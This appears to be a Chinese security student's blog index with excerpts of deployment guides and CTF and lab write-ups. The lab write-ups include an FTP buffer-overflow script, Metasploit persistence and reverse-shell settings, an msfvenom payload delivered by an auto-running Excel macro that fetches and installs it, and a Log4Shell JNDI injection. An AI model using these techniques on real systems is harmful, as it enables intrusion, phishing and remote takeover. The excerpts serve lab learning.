docker单机部署GZCTF
前言
最早接触的自建CTF平台就是CTFd,然后在GitHub上面又发现了GZTime大佬开发的GZCTF平台,然后就尝试着部署了,因为是全新的架构,部署的时候遇到了问题也在群里得到了解决,现在又想着在内网重新搭建一遍,发现有些细节的地方有点忘了,所以就想着写下这篇文章记录一下,也方便后续自己可能在其他地方进行部署的时候能比较快的完成部署。
官方文档:https://docs.ctf.gzti.me/
准备内容
在GitHub上找到项目的Releases下载最新版的包(开发师傅不推荐用git) 这个方法弃用了
现在只需准备下文的docker-compose.yml和appsettings.json文件即可
安装好docker和docker-compose,这两项的安装网上有教学
端口暴露范围设置
这里可设置也可以不设置,看个人需求,如果是云服务器的还是推荐设置,内网的话那就无所谓了,这里只列出docker部署时的设置方法,k3s及其他方式的可以看官方给的readme(下面的命令也是从readme里面抄来的)
sudo nano /etc/sysctl.conf
添加如下内 ...
github_actions_deploys_docusaurus_to_the_server
条件
拥有GitHub账号
已经构建好docusaurus
拥有自己的服务器
部署
服务器生成ssh密钥
运行 ssh-keygen命令即可生成公钥和私钥,只要把私钥添加到项目的仓库环境变量中即可
进入到你要用于ssh连接的用户的.ssh目录下,读取私钥
1cat ~/.ssh/id_rsa
添加仓库环境变量
分别添加下面三个变量
变量名
说明
REMOTE_HOST
服务器IP或域名
REMOTE_USER
用户ssh连接的用户名,要和上面提供私钥的用户相对应
SSH_PRIVATE_KEY
私钥
工作流代码
12345678910111213141516171819202122232425262728293031323334353637383940414243# 当前工作流的名称name: docusaurus-deployon: push: branches: - mainjobs: # 构建的任务,一个工作流有多个构建任务, build-and-deploy: runs-on: ubuntu-latest # 在什么服 ...
ISCC-2024
web
还没想好名字的塔防游戏
打到第三波有弹窗
全局搜索这个提示恭喜,您已消灭第3波怪物,这是第一条提示:Bears Brew Storms
找到剩下的所有提示
根据题目说的xxx共有18位
把Mystic Defense War: The Secret of Guardian Towers and Magical Monsters的首大写字母和三个提示恭喜,您已消灭第3波怪物,这是第一条提示:Bears Brew Storms、恭喜,您已消灭第10波怪物,这是第二条提示:Opal Oceans Glow和恭喜,您已消灭第100000波怪物,这是第三条提示:Elves Whisper Wonders的首大写字母拼接起来就得flag
ISCC{MDWTSGTMMBBSOOGEWW}
原神启动
根据报错信息,得知是一个8.5.32的tomcat,这个版本存在一个CVE-2020-1938
网上有脚本,可以直接梭哈,读flag
POC
1234567891011121314151617181920212223242526272829303132333435363738394041 ...
使用vercel部署wowchemy学术网站
起因
在搜索资料的时候看到了北大的一个科研组的主页,使用Hugo Blox(以前称为 Wowchemy Hugo Modules) Web 框架构建的。其中Research Group模板,很简洁,感觉还不错,就想把协会的主页给换了。
协会原有的主页是用的docusaurus搭建的,这个更像一种文档文库,不太适合用于主页展示。
部署
部署和自定义的过程并不难,跟着官方文档走即可
官方文档
使用Netlify进行部署会简单很多,但是我不喜欢它的添加自己域名的那一块,所以我就选择了vercel部署,但是官方给的教程过于简略,有点过时了,并不适合当前的vercel环境
vercel部署注意事项
如果只按照官方文档给的教程去部署,百分百失败,部署最后一定会提示部署时长超过了,vercel所支持的最大部署时长45分钟,这是翻译过的,大致意思就是这样。
这是因为vercel目前默认的node.js版本是20.x,这个版本安装附加包是使用 dnf install-y package-name
所以当我们使用默认的环境时,安装golang依赖就要使用 dnf install-y golang而不是 ...
Freefloat FTP Server1.0 溢出漏洞复现
分析漏洞
在xp靶机上开启FTPServer
在kali上连接ftp,直接输入aaa/aaa即可进行登录,可以登陆成功,即该服务器并没有对用户进行限制
利用python生成一百个’a’登录,报错了
wireshark抓包得知,只发送出去了78个a
同时发送了100个a也没令软件崩溃,所以改用其他方法
使用脚本测试
python发包测试
12345from pwn import *p = remote("192.168.100.143", 21)payload = 'A'*500p.sendline(payload)p.interactive()
程序崩溃了
此时eip指向了0x41414141,从发送的数据’A’的ascii码是0x41得知,USER输入点存在栈溢出漏洞
进一步的验证分析就不进行了,网上有更详细的分析过程
漏洞利用
寻找jmp esp地址
只有一个地址,那就用:77D4754A这个地址
生成shellcode
利用metasploit生成windows反弹shell的shellcode,排除坏数据’\x00\x ...
应急响应技术
Linux 入侵查杀
使用history可以看到历史运行命令,从第22到25条命令可以看到在桌面有一个shell.sh的文件
把文件提取出来,然后使用微步云在线沙箱进行查杀分析
检测出有反弹shell的行为
世界杀毒网并没有检测出来
然后排查ssh日志,我的机器上没有发现异常日志
Ubuntu的ssh日志是在记录在/var/log/auth.log里面的
Windows 入侵查杀
下列是在Windows7的环境下使用phpstudy+ucms搭建一个简易的网站,利用CVE-2020-25483上传一句话木马,实验指导书是使用phpmyadmin的弱口令进入后台,通过修改日志目录实现了恶意文件的写入,从而被上马。
使用360星图分析access日志文件,日志文件在C:\phpStudy\Apache\logs目录下,此时的目录并没有access文件
需要修改C:\phpStudy\Apache\conf下的httpd.conf文件,去掉红框前的注释符号,然后重启服务即可
开启360星图,在运行前需要修改其配置文件,添加我们的日志地址
然后运行星图根目录下的start文件 ...
权限维持技术
这篇文章是在做网络渗透测试技术实验的时候写的,主要是以学习为目的
其中也还有很多的不足之处
windows 权限维持 注册后门
在获得shell后background退出
选择注册表后门模块
1use exploit/windows/local/persistence
然后选择好攻击模块设置参数,攻击机IP和端口,还有设置会话
12345set payload windows/x64/meterpreter/reverse_tcp //这句可以不写,因为默认攻击模块就是这个set lhost 192.168.100.133set lport 4455set session 1run
在靶机的对应目录下找到了vbs文件
目录:C:\Users\win7\AppData\Local\Temp\
win+r打开运行输入regedit回车即可打开注册表
然后在KCU\Software\Microsoft\Windows\CurrentVersion\Run下即可看到注册表也成功写入
回到攻击机设置msf,让两个红框的内容一致,执行run之后,重启靶机,即可发现,在登录了靶机之后msf ...
社会工程学钓鱼样本的制作
excel 宏
输入下列命令后,即可在目录下看到生成的msi
1msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.129 lport=1234 -f msi -o diaoyu.msi
然后启动msf,使用multi/handler模块,并设置好对应的payload,然后输入run,进行监听
然后启动python的http服务,是为了后续制作宏的时候提供有网络服务
在自己的电脑上创建一个excel表格(实际情况下,文件名要符合实际,有吸引力,里面的内容最好也是真实的,这里因为是实验环境,所以数据都是捏造的)
然后插入宏表
打开浏览器输入kali的ip地址,看到下图后右键diaoyu.msi,选择复制链接地址
然后在表格第一行输入
=EXEC(“msiexec /q /i http://192.168.100.129/shell.msi”)
第二行输入
=HALT()
然后选择A1的框,把A1改成Auto_Open(让excel打开时自动执行宏)然后回车即可
然后就是隐藏宏,右键“宏1”,然 ...
vscode网页版搭建
前言
在了解Vscode的隧道技术的时候就看到了一篇名为:《上课摸鱼必备 – Vscode网页版的搭建教程》的文章,然后发现这个还挺好玩的,而且手上有一台云服务器就搭起来试试
准备工作
需要一台用来起服务的机器,需要Linux环境,不一定要是云服务器,本地的服务器也可以,需要外网访问的话,云服务器会方便点,本地的服务器想外网访问那就需要内网穿透了
下载所需的包,下载地址:https://github.com/coder/code-server/releases/
我的服务器是Ubuntu22.04的所以就选了code-server-4.16.0-linux-amd64.tar.gz这个版本
部署
下载文件
1wget https://github.com/coder/code-server/releases/download/v4.16.0/code-server-4.16.0-linux-amd64.tar.gz
解压文件
1tar -zxvf code-server-4.16.0-linux-amd64.tar.gz
重命名
1mv code-server-4 ...
记一次不知名比赛的WP
Reverse
Reverse_签到
找到main函数,就看到了flag
Crypto
easily_Caesar
凯撒解码一把梭,key=24
Misc
medium_CTFvalues
16进制转文本得到unicode编码
unicode转ascii码得到base64字符串
base64解码得到一个字符串,然后ascii码转文本
difficult_mobile_3
jadx打开然后全局搜索base64,找字符串后进行ascii转字符
得到,把ip地址进行包裹提交
Pwn
easily_pwn_1
程序分析:64位程序,开启了NX保护
代码分析:有一个read函数和write函数,可以发现read函数(这里buf只有0x80字节,而read需要从buf中读取0x200个字节),存在溢出条件。
然后找是否存在后门函数
找到system函数的地址,是简单的栈溢出,找到偏移量为0x80+8,然后覆盖返回地址就可以了
exp:
123456789from pwn import *io = remote('192.168.1.1',9002)# i ...
2023-桂电烽台工控CTF
线上
异常的工程
直接strings查找flag
入侵事件
记事本打开,然后根据题目意思,直接搜索password,就能找到准确时间(吐槽一下,题目描述错了)
签到题2
baby_pyc
在线网站反编译代码
解密脚本
12345678910from Crypto.Cipher import AESimport base64password = b'ragfwQEFAAAAAAAA'iv = b'1234567812345678'encrypted_text = base64.b64decode(b'HHAOD2xCZ0XIJTrOZB4t83wnFsi824jtpiRXI1usbkQ=')aes = AES.new(password,AES.MODE_CBC,iv)decrypted_text = aes.decrypt(encrypted_text).decode()print(decrypted_text)
unseen
因为是gif图,打开时是缺少了头文件,所以直接补充回来
然后用在线网站打开分析,观察红框中 ...
Git使用心得
使用git init进行空仓库的初始化,但是仓库是有东西的话就可以不用做这一步
使用git status查看当前的状态,可以看到我对README.md进行了修改但是未提交
使用git add .将所有添加或修改过的文件添加到暂存区
使用git status再查看当前的状态,可以看到,文件就是被添加到了暂存区
使用git commit -m "提交信息"提交暂存区的内容到本地仓库,“提交信息”可以修改为你对于修改的或者是新增的文件的一个描述或者做出的修改
使用git remote add origin 远程仓库地址把文件添加到远程仓库
如果是第一次提交,需要先将远程仓库的内容拉取下来,直接推送会报错,使用git pull
使用git push把提交内容推送到远程仓库上
CTFShow-web-命令执行
web29
源码:
1234567891011121314151617181920212223 <?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-04 00:12:34# @Last Modified by: h1xa# @Last Modified time: 2020-09-04 00:26:48# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
分析源码得知过滤了字符串flag和i
system("l ...
Hack the box Unified题解
打这个靶机的时候也是断断续续的,所以里面的目标IP前后对应不上,但是方法都是一样的。
扫端口
1nmap -sC -sV 10.129.96.149
访问8080端口重定向到了8443
看到是unifi6.4.54版本的,结合官方给的WP知道这个版本有一个CVE,可以以此为出发点进行攻击
CVE-2021-44228的利用
验证漏洞存在
先验证是不是存在这个漏洞
抓包,因为是https的站,所以要对burpsuite进行一些设置Burp Suite抓HTTPS数据包教程
然后根据官方的WP,需要把remember的值改成${jndi:ldap://Tun 0的IP/o=tomcat}
验证存在
实施攻击
漏洞利用环境搭建
更新&&安装环境
sudo apt update
sudo apt install openjdk-11-jdk -y
sudo apt-get install maven
安装工具
git clone https://github.com/veracode-research/rogue-jndi
cd rogue- ...
Hack the box Vaccine题解
在打靶机的时候网络有点问题,所以这份WP里的目标机器的IP前后是不一样的,但总的来说,方法大同小异
扫端口
1nmap -sC -sV 10.129.252.99
开启了21、22和80端口,访问80端口,什么都没有,结合任务1和任务2,就直接练上去看有没有东西
ftp
连上以后把文件复制出来
破解zip密码
解压的时候发现是有密码的
看到任务4,和经过百度知道利用zip2john去获取压缩包的hash值,然后使用john去破解hash值
破解成功
backup的内容
得到了两个文件
其中index.php里面有网站的管理员账号和密码,密码经过了md5加密,经过破解得到:qwerty789,这也是任务5的答案
sql注入
登录到后台后有个搜索框尝试有无sql注入,发现可注入,加上任务6的提示,那就直接sqlmap一把梭
用burpsuite抓包保存到1.txt后,利用sqlmap进行注入,并利用--os-shell进行执行shell的命令
注入命令:
1sqlmap -r 1.txt --os-shell
反弹shell
攻击机监听
1nc -lvv ...
wsl2修改安装路径
暂停wsl运行
1wsl -l -v
有Running说明还在运行,需要将其停止运行
1wsl --shutdown
导出子系统
导出你需要更改路径的Linux系统,例如我需要导出我的Ubuntu-22.04,并导出到d盘
1wsl --export Ubuntu-22.04 d:\Ubuntu-22.04.tar
在d盘就可以找到导出的文件
注销子系统
注销要导出的子系统
1wsl --unregister Ubuntu-22.04
再次查看wsl的运行情况时,就没有了Ubuntu-22.04了
导入子系统
1wsl --import Ubuntu-22.04 D:\wsl-ubuntu D:\Ubuntu-22.04.tar
import后面是:导入系统的名称+安装的路径+打包好的系统镜像的路径
Hack the box Oopsie题解
扫机器
拿到目标机器的IP,先看一下,开放了什么端口
1nmap -sC -sV 10.129.95.191
80和22端口有服务在运行,先从80端口入手
在访问80端口的服务时看到这一句话,就是要让我们找登录页,但是并没有找到可以点击登录的地方
路径泄漏
F12打开调试就看到了泄露的路径
看到可以以游客的身份登录
登陆后看到有上传的地方,这就是我们的突破口
但是需要超级管理员的账号
越权
当点进Account页面的时候URL引起了注意,id=2,那就意味着id=1是管理员账号了,那就试试
Account确实是变成了admin,但是点到Uploads的时候还是显示需要管理员账号,那我们可以尝试看看能不能从cookie入手
对应修改好后,上传页就能用了
上传webshell
用的是kali自带的php-reverse-shell.php,使用方法GitHub上有
利用成功,找有用的信息
信息收集
在/var/www/html/cdn-cgi/login目录下发现了db.php,并且拿到了数据库的账号密码,
在/home/robert下拿到了user.txt
切换交 ...
给主机加无线网卡
0x01
去年(22年)6月份收了一个大四学长的主机,具体配置如下:
其中无线网卡是最近才加上的,因为我现在是双机状态,一台笔记本(小米笔记本Pro14增强版),一台主机,经常要在两台机器之间互换,键鼠的切换就挺麻烦的,要两套键鼠的话就挺难受的,因为桌面空间不算很大,而且键盘搬来搬去的就挺麻烦的,就想着全部无线化。键盘是三模的,就可以同时连接多台设备按相应的组合键去切换设备就好,鼠标用两个无线的鼠标就行,反正鼠标不算占地。
0x02
买了COMFAST的CF-AX201,到货之后就直接开装
装完打完驱动,发现只有蓝牙能用,WiFi用不了,然后问客服才知道是一块m2硬盘抢了WiFi的通道,然后百度解决方案,发现这是这个主板的问题
被迫无奈去淘宝找了个延长线,因为我的显卡太大了,完全盖住了pcie3的接口,问了客服延长线需要7mm的高度,我还特地拿个尺子去量,刚刚好就是7mm左右
买回来装上非常完美,现在就是可以完美发挥这张网卡的所有功能